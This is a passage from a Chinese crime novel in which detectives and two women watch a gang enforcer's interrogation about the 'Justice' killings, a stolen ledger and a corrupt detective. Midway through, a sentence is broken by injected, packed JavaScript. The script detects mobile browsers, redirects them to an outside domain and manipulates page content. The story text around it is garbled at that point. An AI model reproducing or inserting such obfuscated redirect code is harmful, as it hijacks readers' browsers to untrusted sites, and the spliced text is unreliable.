木仓声的回响仿佛还回荡在空气里，硝烟和血腥混合成一股令人作呕的气味。


    其他警探已经把人全部押送到车子里了。


    “老大。好了。”有警探过来对怀特警探说。


    “行。”怀特点点头，他转向我们，“里斯克小姐，本小姐。你们…也得跟我回一趟苏格兰场。今天这事，还有霍华德…我们需要谈谈。详细的谈。”


    简没有异议，只是轻轻颔首，动作牵扯到胸口的伤，她极细微地吸了口气，但脸上依旧没什么表情。


    我注意到她的伤口处似乎渗出更多暗红了，她可能又把伤口扯开了。


    “当然，怀特警探。”我立刻接话，同时不着痕迹地靠近简，“但是简的伤需要先…”


    “没事的。弗瑞。”她打断我，率先迈步跟在押送俘虏的警察后面，走向巷口停着的几辆黑色警用厢型车。


    我只好无奈地跟上。


    这是我第二次到苏格兰场了，上一次，还是作为嫌疑人。


    而当时的霍华德警探现在……


    唉。


    怀特把我们带进了一间单独的办公室，比上次那间更靠里，也更安静。


    他示意我们坐下，倒了三杯水。


    “今天的事…”他开口，声音疲惫，“谢了，里斯克小姐。虽然你的方式让人心惊肉跳。”


    他苦笑了一下，但立刻严肃起来，“但你们为什么会在金赛马后巷？别告诉我是散步。”


    简端起水杯，没有喝。


    “为了马可·比安奇和威廉·霍华德。”她直接点题。


    “第三个死者是比安奇，第四个是霍华德。凶手没打破规律。比安奇和霍华德有联系，另外两个死者呢？他们四个之间，有什么是‘Justice’非要清除不可的？”


    怀特警探重重地叹了口气，双手撑在桌面上。“我们也在查，信息还没凑全，但霍华德…”


    他脸上闪过厌恶和痛心，“他烂透了。不是一天两天了。”


    他拉开抽屉，拿出一个薄薄的卷宗，推到我们面前。里面是一些零散的记录和照片。


    “霍华德警探，背地里，不过是是那些大人物还有危险人物好用的狗。”怀特的声音带着压抑的怒火。


    “我们早就怀疑他收黑钱，包庇他们的非法赌马放贷，还有暴力活动，但…一直…没有确凿证据。呃…小姐们，你们知道的。”


    我点了点头，对于他的话，我不予置评。


    没有确凿证据？


    也许只是永远有人需要霍华德罢了。


    怀特警探指着其中一张模糊的照片，是在“金赛马”后巷的偷拍，隐约能看到霍华德和一个男人在低声交谈。


    “这个人是保罗·罗西，金赛马酒吧的老板，也是本地意大利裔团伙的头目，比安奇就是给他办事的。”


    “比安奇死前，”怀特继续道，“我们收到一点风声，说他似乎惹上了大麻烦，可能卷走了帮派一笔不小的钱，或者知道了不该知道的事。”


    “他消失过一段时间。”简点点头说。


    “是，据我们的线人说，是他自己动了不该的心思。紧接着，他就被‘Justice’干掉了。”


    简的手指在桌面上轻轻敲了一下，“霍华德呢？他在这中间扮演什么角色？”


    “中间人？也可能是提供一些行动或者别的什么方便？”怀特警探脸色阴沉。


    “我们查到霍华德在比安奇死前和死后，都频繁地私下见过罗西。比安奇死后，帮派内部似乎因为那笔‘失踪’的钱或者别的什么，发生了不小的动荡。今天下午我们去‘金赛马’后巷，原本是想找罗西‘例行问询’关于比安奇的事，顺便看看能不能找到霍华德涉案的线索。”


    他捏紧了拳头，“结果我们刚到，还没找到罗西，就撞上那帮亡命徒！他们像疯了一样，二话不说直接开火！好像知道我们要去，在守着什么或者急着清除什么证据。我们被打了个措手不及，被迫应战，然后你们就出现了。”


    “守？”我追问，“他们在巷子里守着什么？”


    怀特警探摇头，“不清楚。交火太突然，我们根本没机会深入搜查。现在现场被封锁了，我们的人正在搜。但我有种感觉，霍华德的死，和比安奇的死，还有今天这场袭击，都指向同一件事。”


    那笔‘失踪’的钱，还是某个能要命的秘密，或者其他不为人知的秘密？


    Justice的目标很明确，那些死者，前两个表面毫无关联，但暗地里都和地下世界有染。


    银行职员挪用了公款私自放贷，这钱流向了哪里？出版社社员又扮演了什么角色？信息传递？洗钱渠道？比安奇是复杂赌马还有地头蛇，霍华德是保护伞。


    这四个人，很可能是一条线上的蚂蚱。


    Justice在顺着这条线，从外围的爪牙，一路杀向核心的保护层。


    简沉默了片刻，浅绿色的眼睛盯着卷宗里霍华德和罗西的那张模糊合影。


    她抬起眼，看向怀特警探，“怀特，你们抓回来的那些人，尤其是那个光头，他们是罗西的人？还是别的势力？”


    “大部分是罗西手下的打手，那个光头叫卡肖，是罗西的头号打手。”怀特说，“我们的人正在审。”


    “带我去看看。”简站起身，语气不容置喙。


    怀特警探愣了一下，“里斯克小姐，这不符合程序…”


    “怀特警探，”我开口，“霍华德死了，下一个目标可能是那个罗西，也可能…是你们苏格兰场里和这条线有牵连的其他人。你知道的，Justice不会停手。他选择公开标记‘Justice’，不仅仅是炫耀，更像是一种宣言。我们没有那么多时间。那个人，他现在知道的最多。让简去吧。”


    怀特警探看了看简，又看了一眼站在她身旁的我，最终重重叹了口气。


    “好吧。但只能旁观，不能插手审讯。这是底线。”


    ……


    审讯室的空气比外面更浑浊，混合着汗味，烟味和绝望的气息。


    单面玻璃后面，卡肖被铐在椅子上，额头有着青紫瘀血，嘴角破了，眼神却仍然像野兽，凶狠但又带着不易察觉的惊惶。


    两个身材魁梧的警探坐在他对面，语气严厉地盘问着，但卡肖只是梗着脖子，要么沉默，要么用意大利语咒骂。


    虚张声势，这是我对他的第一感觉。


    怀特警探，简和我站在玻璃后面看着。


    “看，油盐不进。”怀特警探低声说，眉头紧锁。


    简观察了几分钟，忽然对怀特警探说，“告诉他们，停止问关于今天袭击的事。问问他，保罗·罗西现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029529|177843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在在哪里？安全吗？”


    怀特疑惑地看了简一眼，但还是拿起内部通话器（单向广播式的），向里面的警探传达了指令。


    里面的警探愣了一下，但还是照做，换了问题，“卡肖，罗西在哪？他安全吗？”


    卡肖猛地抬起头，凶狠的眼神里闪过惊疑，也许还有恐惧，他死死盯着问话的警探，依旧不开口，但紧绷的身体微微前倾。


    “再问，”简的声音很冷，面色很严肃。


    “告诉他，比安奇死了，霍华德也死了。下一个，会不会轮到罗西？或者轮到他自己？Justice可不管你是头号打手还是小喽啰，只要沾了那条线上的事，都得死。但是，你们可以保他。”


    怀特转述了简的话。


    当那些话被清晰地用意大利语说出来时，卡肖脸上伪装的凶狠停滞了。他的瞳孔剧烈收缩，嘴唇不受控制地哆嗦。


    审讯室里的问话停下来了，只有卡肖一个人粗重的喘息声。


    “Justice…Justice…”卡肖喃喃地重复着这个词，声音带着强烈的恐惧和愤恨。


    “他…他不是为了什么狗屁正义！他就是个疯子！一个…一个踩着尸体往上爬的疯子！”


    他猛地抬起头，布满血丝的眼睛死死盯着单面玻璃，仿佛要穿透它。


    “比安奇那蠢货！他以为偷了账本就能勒索那些大人物！他以为他是谁？！霍华德那条子也贪得无厌！他们…他们都该死！但Justice…他比他们都狠！他杀了他们！像宰猪一样！还在他们身上刻字！他抢走了账本！”


    怀特警探立刻追问，声音透过话筒传到里面，“什么账本？藏在哪？”


    卡肖摇头，“我不知道！真的不知道！老板只说…那账本很重要。有条…警探收的每一笔钱！还有一些大人物的…老板说那东西要是落到对头手里，或者落到Justice手里，我们都得死！比安奇就是因为想拿那账本去敲诈，才被…”他没说下去，但意思很明显。


    他情绪彻底崩溃了，双手被铐住，只能徒劳地抓着头发。


    “保罗…保罗老板不见了！比安奇那混蛋出事之后，老板就慌了！霍华德那个该死的条子也联系不上！大祸临头了！他早就跑了！丢下我们…让我们守好‘老地方’，谁敢靠近就杀谁！今天…今天你们来了…我们以为…以为你们是Justice的人…或者…是老板的对头…”


    “所以你们就开火？”审讯室里的警探的声音冰冷，“为了一个抛弃你们的老板？”


    “我们没得选！”卡肖嘶吼，带着被抛弃的愤怒和恐惧，“老板跑了！Justice像鬼一样！我们怎么办？！守不住也得死！”


    “问，出版社那个和银行职员是干什么的”简对怀特警探说，“他们和Justice有什么关系？”


    听到警探问话的卡肖愣了一下，眼神闪烁，似乎在回忆。


    “出版社那个…好像…好像帮霍华德处理过一些见不得光的文件？还是…还是洗过钱？我不清楚…老板提过一次。银行那个…他挪了钱，很大一笔…是放给我们的！也许还有其他人？通过比安奇！利息高得吓人！他死了，那笔账就烂了！没人知道他到底挪了多少，又放出来多少！Justice杀了他，那笔钱就彻底成了无主的肥肉！他一定是想办法吞掉它！”